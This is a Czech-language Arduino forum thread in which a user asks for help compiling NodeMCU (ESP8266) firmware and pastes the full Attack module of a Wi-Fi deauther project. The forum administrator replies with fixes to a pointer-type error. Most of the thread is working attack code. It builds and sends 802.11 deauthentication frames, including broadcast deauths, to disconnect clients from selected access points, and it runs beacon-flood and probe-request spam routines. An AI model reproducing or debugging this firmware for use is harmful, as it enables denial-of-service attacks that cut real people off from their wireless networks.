Nodemcu Arduino IDE
Úvodní stránka › Fórum › Hardware › Arduino › Nodemcu Arduino IDE
- Toto téma obsahuje celkem 6 odpovědí. Do diskuze (2 diskutující) se naposledy zapojil uživatel
nonosh a poslední změna proběhla před 7 roky a 4 měsíci.
-
AutorPříspěvky
-
2.5.2017 v 16:31 #11302
nonosh
ÚčastníkZdravím,
snažím se vytvořit udělátko s Nodemcu v2 napsane v Arduinu jenze kdyz chci zkompilovat kód dostanu tenhle error :
cannot convert ‚uint8_t* {aka unsigned char*}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘Netuší někdo co to je ?
Vďaka2.5.2017 v 17:29 #11303Zbyšek Voda
SprávcePoužíváte funkci int wifi_send_pkt_freedom(uint8**, int, bool);
Tato funkce má první parametr ukazatel na ukazatel na uint8. Popřípadě se dá také interpretovat jako pole ukazatelů na hodnoty typu uint8, nebo ukazatel na pole (což asi je případ, který potřebujete).Vy ale této funkci předáváte jenom pole, ale ne ukazatel na pole.
Řekněme, že máte něco jako:byte data[] = {1, 2, 3, 4, ...}; wifi_send_pkt_freedom(data, x, y);
Místo data zkuste zapsat &data, tedy:
wifi_send_pkt_freedom(&data, x, y);
Znak ampersand (&) značí, že chcete získat adresu dané proměnné. Ukazatele jsou vlastně adresy.
Většinou stačí přeložit hlášku:
cannot convert ‘uint8_t* {aka unsigned char*}’ to ‘uint8** {aka unsigned char**}’ for argument ‘1’ to ‘int wifi_send_pkt_freedom(uint8**, int, bool)’
můžete číst jako
Nejde převést uint8_t* na uint8** v prvním argumentu funkce wifi_send_pkt_freedom(uint8**, int, bool)
uint8_t* = ukazatel na typ uint8_t / pole uint8
uint8_t** = ukazatel na ukazatel na uint8_t / pole ukazatelů na uint8_t / ukazatel na pole uint8_tPokud to nepůjde, pošlete sem kód 🙂
2.5.2017 v 18:14 #11309nonosh
ÚčastníkPo přidání & dostavám : cannot convert ‚uint8_t (*)[128] {aka unsigned char (*)[128]}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘
Upřímně tomu nějak nerozumím a jsem z toho nemocný … přikládám kód :
#include „Attack.h“Attack::Attack() {
randomSeed(os_random());
}void Attack::generate() {
if (debug) Serial.print(„\n generating MACs…“);Mac _randomBeaconMac;
uint8_t _randomMacBuffer[6];
beaconAdrs._clear();for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
do {
getRandomVendorMac(_randomMacBuffer);
for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
if (debug) Serial.println(„done“);
}void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
packetSize = 0;
for (int i = 0; i < sizeof(deauthPacket); i++) {
packet[i] = deauthPacket[i];
packetSize++;
}for (int i = 0; i < 6; i++) {
//set target (client)
packet[4 + i] = _client._get(i);
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}//set type
packet[0] = type;
packet[24] = reason;
}void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
packetSize = 0;
int ssidLen = _ssid.length();
if (ssidLen > 32) ssidLen = 32;for (int i = 0; i < sizeof(beaconPacket_header); i++) {
packet[i] = beaconPacket_header[i];
packetSize++;
}for (int i = 0; i < 6; i++) {
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}packet[packetSize] = 0x00;
packetSize++;
packet[packetSize] = ssidLen;
packetSize++;for (int i = 0; i < ssidLen; i++) {
packet[packetSize] = _ssid[i];
packetSize++;
}for (int i = 0; i < sizeof(beaconPacket_end); i++) {
packet[packetSize] = beaconPacket_end[i];
packetSize++;
}packet[packetSize] = _ch;
packetSize++;if (encrypt) {
for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
packet[packetSize] = beaconWPA2tag[i];
packetSize++;
}
}}
void Attack::buildProbe(String _ssid, Mac _mac) {
int len = _ssid.length();
if (len > 32) len = 32;
packetSize = 0;for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
packetSize += sizeof(probePacket);for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);
packet[packetSize] = len;
packetSize++;for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
packetSize += len;}
bool Attack::send() {
if (wifi_send_pkt_freedom(&packet, packetSize, 0) == -1) {
/*
if(debug){
Serial.print(packetSize);
Serial.print(“ : „);
PrintHex8(packet, packetSize);
Serial.println(„“);
}
*/
return false;
}
delay(1); //less packets are beeing dropped
return true;
}void Attack::sendDeauths(Mac from, Mac to){
for(int i=0;i<settings.attackPacketRate;i++){
buildDeauth(from, to, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(from, to, 0xa0, settings.deauthReason );
send();
buildDeauth(to, from, 0xc0, settings.deauthReason );
send();
buildDeauth(to, from, 0xa0, settings.deauthReason );
send();
delay(5);
}
}void Attack::run() {
unsigned long currentMillis = millis();/* =============== Deauth Attack =============== */
if (isRunning[0] && currentMillis – prevTime[0] >= 1000) {
if (debug) Serial.print(„running “ + (String)attackNames[0] + “ attack…“);
prevTime[0] = millis();for (int a = 0; a < apScan.results; a++) {
if (apScan.isSelected(a)) {
Mac _ap;
int _ch = apScan.getAPChannel(a);
_ap.setMac(apScan.aps._get(a));wifi_set_channel(_ch);
int _selectedClients = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
_selectedClients++;
/*if (settings.channelHop) {
for (int j = 1; j < maxChannel; j++) {
wifi_set_channel(j);buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
if (send()) packetsCounter[0]++;buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if (send()) packetsCounter[0]++;
}
} else {*/
sendDeauths(_ap, clientScan.getClientMac(i));
//}
}
}if (_selectedClients == 0) {
Mac _client;
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
sendDeauths(_ap, _client);
}}
}stati[0] = (String)packetsCounter[0] + „pkts/s“;
packetsCounter[0] = 0;
if (debug) Serial.println(“ done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[0]++;
if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
}
}/* =============== Beacon list Attack =============== */
if (isRunning[1] && currentMillis – prevTime[1] >= 100) {
if (debug) Serial.print(„running “ + (String)attackNames[1] + “ attack…“);
prevTime[1] = millis();for (int a = 0; a < ssidList.len; a++) {
String _ssid = ssidList.get(a);
int _ch = channels[a];buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
if (send()) packetsCounter[1]++;
}stati[1] = (String)(packetsCounter[1] * 10) + „pkts/s“;
packetsCounter[1] = 0;
macListChangeCounter++;
if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
generate();
macListChangeCounter = 0;
}
if (debug) Serial.println(“ done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[1]++;
if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
}
}/* =============== Probe Request Attack =============== */
if (isRunning[2] && currentMillis – prevTime[2] >= 1000) {
if (debug) Serial.print(„running “ + (String)attackNames[2] + “ attack…“);
prevTime[2] = millis();for (int a = 0; a < ssidList.len; a++) {
buildProbe(ssidList.get(a), beaconAdrs._get(a));
if (send()) packetsCounter[2]++;
}stati[2] = (String)(packetsCounter[2] * 10) + „pkts/s“;
packetsCounter[2] = 0;
macListChangeCounter++;
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
generate();
macListChangeCounter = 0;
}
if (debug) Serial.println(„done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[2]++;
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
}
}}
void Attack::start(int num) {
Serial.println(num);
if(!isRunning[num]) {
Serial.println(num);
isRunning[num] = true;
stati[num] = „starting“;
prevTime[num] = millis();_log(num);
attackTimeoutCounter[num] = 0;
refreshLed();
if (debug) Serial.println(„starting “ + (String)attackNames[num] + “ attack…“);
if (num == 0) attackMode = „STOP“;
for (int i = 0; i < attacksNum; i++){
if(i != num) stop(i);
}
}else stop(num);
}void Attack::stop(int num) {
if (isRunning[num]) {
if (debug) Serial.println(„stopping “ + (String)attackNames[num] + “ attack…“);
if (num == 0) attackMode = „START“;
isRunning[num] = false;
stati[num] = „ready“;
prevTime[num] = millis();
refreshLed();
}
}void Attack::stopAll() {
for (int i = 0; i < attacksNum; i++) stop(i);
}void Attack::_log(int num){
openLog();
addLog((String)attackNames[num]);
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a)){
Mac _ap;
_ap.setMac(apScan.aps._get(a));
addLog(_ap.toString());
}
}
addLog(„-„);
for(int i=0;i<clientScan.results; i++) {
if(clientScan.getClientSelected(i)) {
addLog(clientScan.getClientMac(i).toString());
}
}
closeLog();
}size_t Attack::getSize(){
size_t jsonSize = 0;String json = „{\“aps\“:[„;
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += „\““ + apScan.getAPName(i) + „\“,“;
_selected++;
}
}
if (_selected > 0) json.remove(json.length() – 1);jsonSize += json.length();
json = „],\“clients\“:[„;
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
_selected++;
}
}
if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
else json.remove(json.length() – 1);jsonSize += json.length();
json = „],\“attacks\“:[„;
for (int i = 0; i < attacksNum; i++) {
json += „{„;
json += „\“name\“:\““ + attackNames[i] + „\“,“;
json += „\“status\“:\““ + stati[i] + „\“,“;
json += „\“running\“:“ + (String)isRunning[i] + „“;
json += „}“;
if (i != attacksNum – 1) json += „,“;
}
json += „],“;
jsonSize += json.length();json = „\“ssid\“:[„;
jsonSize += json.length();
for (int i = 0; i < ssidList.len; i++) {
json = „\““ + ssidList.get(i) + „\““;
if (i != ssidList.len – 1) json += „,“;
jsonSize += json.length();
}json = „]}“;
jsonSize += json.length();return jsonSize;
}void Attack::sendResults(){
size_t _size = getSize();
if (debug) Serial.print(„getting attacks JSON („+(String)_size+“)…“);
sendHeader(200, „text/json“, _size);String json = „{\“aps\“:[„;
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += „\““ + apScan.getAPName(i) + „\“,“;
_selected++;
}
}
if (_selected > 0) json.remove(json.length() – 1);
sendToBuffer(json);json = „],\“clients\“:[„;
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
_selected++;
}
}
if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
else json.remove(json.length() – 1);sendToBuffer(json);
json = „],\“attacks\“:[„;
for (int i = 0; i < attacksNum; i++) {
json += „{„;
json += „\“name\“:\““ + attackNames[i] + „\“,“;
json += „\“status\“:\““ + stati[i] + „\“,“;
json += „\“running\“:“ + (String)isRunning[i] + „“;
json += „}“;
if (i != attacksNum – 1) json += „,“;
}
json += „],\“ssid\“:[„;
sendToBuffer(json);for (int i = 0; i < ssidList.len; i++) {
json = „\““ + ssidList.get(i) + „\““;
if (i != ssidList.len – 1) json += „,“;
sendToBuffer(json);
}
json = „]}“;
sendToBuffer(json);sendBuffer();
if (debug) Serial.println(„done“);
}void Attack::refreshLed() {
int numberRunning = 0;
for (int i = 0; i < sizeof(isRunning); i++) {
if (isRunning[i]) numberRunning++;
//if(debug) Serial.println(numberRunning);
}
if (numberRunning >= 1 && settings.useLed) {
if (debug) Serial.println(„Attack LED : ON“);
digitalWrite(2, LOW);
}
else if (numberRunning == 0 || !settings.useLed) {
if (debug) Serial.println(„Attack LED : OFF“);
digitalWrite(2, HIGH);
}
}2.5.2017 v 18:17 #11310nonosh
ÚčastníkTady popř. celý projekt … https://github.com/spacehuhn/esp8266_deauther
2.5.2017 v 18:35 #11311Zbyšek Voda
SprávceTak zkuste ještě wifi_send_pkt_freedom((uint8_t**)&packet, packetSize, 0)
2.5.2017 v 18:43 #11312Zbyšek Voda
SprávceJe to nějaké podivné. Když jsem program znovu zkompiloval, tak vyžaduje signaturu
int wifi_send_pkt_freedom(uint8 *buf, int len,bool sys_seq) (stejná je i v dokumentaci).Tedy buf má být opravdu jenom jednoduché pole. Tak jste to asi i na začátku měl, ale házelo to ten podivný error.
Nakonec se mi povedlo přes chybu dostat zápisem
if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
tak jste to ale asi na začátku měl, tak nevím.Btw. v kódu chybí funkce setup a loop, což se překladači taky nebude líbit.
Takto mi to hlásí jen chyby neexistující loop a setup funkce. https://codepaste.net/us7qgo.
5.5.2017 v 2:27 #11344nonosh
ÚčastníkNo tak ja jsem pořád u toho erroru číslo 1 at se snažím jak snažím … ještě sem někde četl, že muže byt něco s sdk, je to možné ?
-
AutorPříspěvky
- Pro reakci na toto téma se musíte přihlásit.